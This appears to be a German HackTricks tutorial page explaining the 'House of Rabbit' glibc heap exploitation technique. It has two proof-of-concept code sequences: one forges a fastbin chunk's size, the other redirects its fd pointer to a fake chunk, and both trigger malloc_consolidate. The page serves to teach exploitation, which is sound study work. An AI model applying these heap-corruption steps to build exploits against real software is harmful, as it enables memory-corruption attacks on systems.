House of Rabbit
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Anforderungen
- Fähigkeit, den fast bin fd-Zeiger oder die Größe zu ändern: Das bedeutet, dass Sie den Vorwärtszeiger eines Chunks im Fastbin oder dessen Größe ändern können.
- Fähigkeit,
malloc_consolidate
auszulösen: Dies kann erreicht werden, indem entweder ein großer Chunk zugewiesen oder der obere Chunk zusammengeführt wird, was den Heap zwingt, Chunks zu konsolidieren.
Ziele
- Überlappende Chunks erstellen: Um einen Chunk mit einem anderen zu überlappen, was weitere Heap-Manipulationen ermöglicht.
- Falsche Chunks fälschen: Um den Allokator dazu zu bringen, einen falschen Chunk während der Heap-Operationen als legitimen Chunk zu behandeln.
Schritte des Angriffs
POC 1: Ändern der Größe eines Fast Bin Chunks
Ziel: Erstellen eines überlappenden Chunks durch Manipulation der Größe eines Fastbin Chunks.
- Schritt 1: Chunks zuweisen
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Wir allokieren zwei Chunks von jeweils 0x40 Bytes. Diese Chunks werden in die Fast-Bin-Liste aufgenommen, sobald sie freigegeben werden.
- Schritt 2: Chunks freigeben
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Wir geben beide Chunks frei und fügen sie der Fastbin-Liste hinzu.
- Schritt 3: Chunk-Größe ändern
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Wir ändern die Größenmetadaten von chunk1
auf 0xa1. Dies ist ein entscheidender Schritt, um den Allokator während der Konsolidierung zu täuschen.
- Schritt 4:
malloc_consolidate
auslösen
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Das Zuweisen eines großen Blocks löst die Funktion malloc_consolidate
aus, die kleine Blöcke im Fast Bin zusammenführt. Die manipulierte Größe von chunk1
führt dazu, dass es sich mit chunk2
überschneidet.
Nach der Konsolidierung überschneidet sich chunk1
mit chunk2
, was weitere Ausnutzung ermöglicht.
POC 2: Ändern des fd
Zeigers
Ziel: Erstellen Sie einen gefälschten Block, indem Sie den Fast Bin fd
Zeiger manipulieren.
- Schritt 1: Blöcke zuweisen
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Erklärung: Wir allokieren zwei Chunks, einen kleineren und einen größeren, um den Heap für den gefälschten Chunk einzurichten.
- Schritt 2: Erstelle gefälschten Chunk
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Wir schreiben gefälschte Chunk-Metadaten in chunk2
, um kleinere Chunks zu simulieren.
- Schritt 3: Freigeben von
chunk1
free(chunk1); // Frees the chunk at 0x602000
Erklärung: Wir geben chunk1
frei und fügen es der Fastbin-Liste hinzu.
- Schritt 4: Ändere
fd
vonchunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Erklärung: Wir ändern den Vorwärtszeiger (fd
) von chunk1
, um auf unseren gefälschten Chunk innerhalb von chunk2
zu zeigen.
- Schritt 5: Trigger
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Das Zuweisen eines großen Blocks löst erneut malloc_consolidate
aus, das den gefälschten Block verarbeitet.
Der gefälschte Block wird Teil der Fastbin-Liste, wodurch er zu einem legitimen Block für weitere Ausnutzung wird.
Zusammenfassung
Die House of Rabbit-Technik beinhaltet entweder die Änderung der Größe eines Fastbin-Blocks, um überlappende Blöcke zu erstellen, oder die Manipulation des fd
-Zeigers, um gefälschte Blöcke zu erstellen. Dies ermöglicht Angreifern, legitime Blöcke im Heap zu fälschen, was verschiedene Formen der Ausnutzung ermöglicht. Das Verständnis und die Übung dieser Schritte werden Ihre Fähigkeiten zur Heap-Ausnutzung verbessern.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.